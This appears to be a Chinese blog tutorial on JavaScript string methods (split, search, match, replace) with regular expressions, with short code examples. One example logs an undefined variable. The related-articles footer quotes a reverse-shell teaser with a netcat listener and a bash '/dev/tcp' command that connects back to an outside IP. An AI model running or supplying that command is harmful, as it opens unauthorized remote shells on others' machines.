JavaScript从入门到精通系列第三十一篇:详解JavaScript中的字符串和正则表达式相关的方法

 

文章目录

知识回顾

1:概念回顾

2:正则表达式字面量

一:字符串中正则表达式方法

1:split

2:search

3:match

4:replace


知识回顾

1:概念回顾

        正则表达式用于定义一些字符串的规则,计算机可以根据正则表达式检查一个字符串是否符合规则,或者将字符串中符合规则的内容提取出来。

2:正则表达式字面量

        语法:var 变量 =/正则表达式/匹配模式;这种方式创建更加简单,使用构造函数创建更加灵活

var reg = new RegExp("正则表达式","匹配模式");

        正则表达式的预发是基于构造函数创建,里边需要有两个参数,一个是正则表达式,另外一个是匹配模式。

        编写代码:

var reg = new RegExp("a");
console.log(a);

一:字符串中正则表达式方法

1:split

        split是String当中的方法,可以将一个字符串拆分为一个数组

var str = "1a2b3c4d5e6f";
var result = str.split("c");
console.log(result);

        但是这样玩有点不灵活,写啥按照啥进行拆分。 我们想根据我们任意字母来将字符串进行拆分

        我们方法中可以传递一个正则表达式作为一个参数,这样方法将会按照正则表达式去拆分字符串。

        证明这件事情:

var str = "1a2b3c4d5e6f";
var result = str.split(/[a-z]/);
console.log(result);

        运行结果: 

2:search

        这个方法可以搜索字符串中是否指定内容

        证明这件事情:

var str = "hello abc hello abc";
var result = str.search("abc");
console.log(result);

        运行结果:

        返回第一次搜索到的结果索引如果没有的话返回-1 

        他可以接收一个正则表达式作为参数,根据正则表达式作进行检索。

        证明这件事情:

        搜索我们字符串中是否包含:abc 或者 aec 或者 afc

var str = "hello abc hello aec afc";
var result = str.search(/a[bef]c/);
console.log(result);

        运行结果:

3:match

        可以根据正则表达式将复合条件的内容提取出来

        证明这件事情:

var str = "1a2b3c4d5e6f";
var result = str.match(/[a-z]/);
console.log(result);

        运行结果:

        计算机比较懒,只找了第一个,我们需要告诉计算机,我们要所有的复合条件的内容,我们需要设置正则表达式进行全局匹配模式。 

        证明这件事情:

var str = "1a2b3c4d5e6f";
var result = str.match(/[a-z]/g);
console.log(result);

        运行结果:

        再设置忽略大小写:

var str = "1a2b3c4d5e6f";
var result = str.match(/[a-z]/gi);
console.log(result);

         运行结果:

        可以为一个正则表达式设置多个匹配模式且顺序无所谓。 

        这种情况返回的数据是一个数组。

4:replace

        可以将字符串中的指定内容替换为新的内容

        证明这件事情:

var str = "1a2b3c4d5e6f";
var result = str.replace(/[a-z]/gi,"@_@");
console.log(result);

        指的注意的是split这个方法不论是写不写g都会进行全局匹配 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/613847.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySql command line client命令解析

一、启动与退出 1、进入MySQL:启动MySQL Command Line Client(MySQL的DOS界面),直接输入安装时的密码即可。此时的提示符是:mysql> 2、退出MySQL:quit 或 exit 二、库操作 1、创建数据库 命令&#xff1…

代码随想录算法训练营第二天|977 有序数组的平方、209长度最小的子数组、59 螺旋矩阵||

977 有序数组的平方 题目链接&#xff1a;有序数组的平方 思路 暴力解法 很容易想到的就是按照题目的说明&#xff0c;先给非递减数组中的每个元素做平方&#xff0c;然后使用一个排序函数对齐进行排序即可。 class Solution { public:vector<int> sortedSquares(ve…

反弹shell方法汇总

假设本机地址10.10.10.11&#xff0c;监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令&#xff1a; bash -i >& /dev/tcp/192.168.245.129/1234 0>&1 /bin/bash -i > /dev/tcp/154.21…

STL之pair

目录 pair的定义和结构 示例 pair的嵌套 示例 pair自带排序规则 示例 代码示例 pair的定义和结构 在c中&#xff0c;pair是一个模板类&#xff0c;用于表示一对值的组合。它位于<utility>头文件中。pair类的定义如下&#xff1a; template<class T1,class T2…

IntelliJ IDEA Java 连接 mysql 配置(附完整 demo)

下载 MySQL 驱动 从MySQL官网下载JDBC驱动的步骤如下&#xff1a; 1&#xff09;访问MySQL的官方网站&#xff1a;MySQL 2&#xff09;点击页面上方的"DOWNLOADS"菜单&#xff1b; 3&#xff09;在下载页面&#xff0c;找到"MySQL Community (GPL) Downloads…

QObject_thread

QObject::thread QThread *QObject::thread() 返回对象所在的线程。 QThread *QObject::thread() const {return d_func()->threadData.loadRelaxed()->thread.loadAcquire(); }void QObject::moveToThread(QThread *targetThread) 将此对象及其孩子关联到targetThre…

C++内存管理机制(侯捷)笔记2

C内存管理机制&#xff08;侯捷&#xff09; 本文是学习笔记&#xff0c;仅供个人学习使用。如有侵权&#xff0c;请联系删除。 参考链接 Youtube: 侯捷-C内存管理机制 Github课程视频、PPT和源代码: https://github.com/ZachL1/Bilibili-plus 下面是第二讲allocator具体实…

11 双向链表

单链表的局限&#xff1a; 单链表的缺点&#xff1a;逆序访问单链表中的元素耗时大。&#xff08;时间复杂度&#xff1a;O&#xff09; 双向链表的定义 第0个节点【a1】的pre指针为NULL&#xff0c;要注意 插入操作&#xff1a; 删除操作&#xff1a; 初步实现双链表 代码&…

【Vue系列】Vue3快速构建项目,以及在已有代码情况首次打开如何初始化依赖项

欢迎来到《小5讲堂》 大家好&#xff0c;我是全栈小5。 这是是《前端》序列文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对知识点的理解和掌…

一天一个设计模式---适配器模式

概念 适配器模式是一种结构型设计模式&#xff0c;用于将一个类的接口转换成客户端所期望的另一个接口。它允许不兼容的接口之间进行协同工作&#xff0c;使得原本由于接口不匹配而无法合作的类能够一起工作。 具体内容 适配器模式主要包括以下几个要素&#xff1a; 目标接…

C 语言结构体和枚举完全指南:成员访问、字符串操作、枚举基础

访问结构体成员 要访问结构体的成员&#xff0c;请使用点语法 (.): // 创建名为 myStructure 的结构体 struct MyStructure {int myNum;char myLetter; };int main() {// 创建名为 s1 的 myStructure 的结构体变量struct MyStructure s1;// 为 s1 的成员分配值s1.myNum 13;s…

Miniconda Python解释器 Conda 包管理器 Pytorch

Miniconda Miniconda 是一个轻量级的 Anaconda 版本&#xff0c;它是一个用于管理 Python 环境和包的开源工具。Anaconda 是一个数据科学和机器学习的开发环境&#xff0c;它包含了许多常用的 Python 包和工具。 与 Anaconda 相比&#xff0c;Miniconda 的安装包更小&#xf…

VBA中类的解读及应用第八讲:实现定时器功能的自定义类事件

《VBA中类的解读及应用》教程【10165646】是我推出的第五套教程&#xff0c;目前已经是第一版修订了。这套教程定位于最高级&#xff0c;是学完初级&#xff0c;中级后的教程。 类&#xff0c;是非常抽象的&#xff0c;更具研究的价值。随着我们学习、应用VBA的深入&#xff0…

Java中输入和输出处理(三)二进制篇

叮咚&#xff01;加油&#xff01;马上学完 读写二进制文件Data DataInputStream类 FilFeInputStream的子类 与FileInputStream类结合使用读取二进制文件 DataOutputStream类 FileOutputStream的子类 与FileOutputStream类结合使用写二进制文件 读写二进制代码 package 面…

vue实现-年、月、日、时、分、秒、星期?

一、文章引导 #mermaid-svg-nP4oT3Y4d6oaxUsg {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-nP4oT3Y4d6oaxUsg .error-icon{fill:#552222;}#mermaid-svg-nP4oT3Y4d6oaxUsg .error-text{fill:#552222;stroke:#55222…

Pangolin编译

文章目录 版本编译错误 版本 ubuntu 22 编译 # 复制选择版本&#xff08;ORB SLAM 需要的版本为0.6&#xff09; git clone https://github.com/stevenlovegrove/Pangolin.git cd Pangolin/ git checkout v0.6# 编译 mkdir build && cd build cmake .. -DCMAKE_INS…

倍福(Bechhoff) CX8090嵌入式PC控制器开发没有想像中的那么难

笔者曾2023年初曾为云南阜外医院新风系统开发自动控制系统。医院所有新风设备和公区照明全部采用倍福嵌入式PC控制器实现智能控制。其中新风和供水计量通过CX8090实现控制&#xff1b;公区照明通过BC9050实现控制&#xff1b;并采用美国邦纳人机界面(THM035B&#xff09;实现远…

树形结构的窗口小部件

这段代码是一个使用Qt框架的C程序&#xff0c;实现了一个树形结构的窗口小部件&#xff08;TreeWidget&#xff09;。以下是主要的解释&#xff1a; #include "treewidget.h" #include "ui_treewidget.h"TreeWidget::TreeWidget(QWidget *parent) : QWidg…

DB2除法的小数位问题(四舍五入问题)以及其他常用的函数

DB2除法的小数位问题&#xff08;四舍五入问题&#xff09;以及其他常用的函数 1. DB2取第一条数据2. DB2 中指定值排序2.1 使用case when2.2 使用decode函数 3. 拼接函数4. 强制转换类型——cast函数5. DB2除法的小数位问题&#xff08;四舍五入问题&#xff09;5.1 关于round…

栈和排序.

给你一个1->n的排列和一个栈&#xff0c;入栈顺序给定 你要在不打乱入栈顺序的情况下&#xff0c;对数组进行从大到小排序 当无法完全排序时&#xff0c;请输出字典序最大的出栈序列 输入 第一行一个数n 第二行n个数&#xff0c;表示入栈的顺序&#xff0c;用空格隔开&…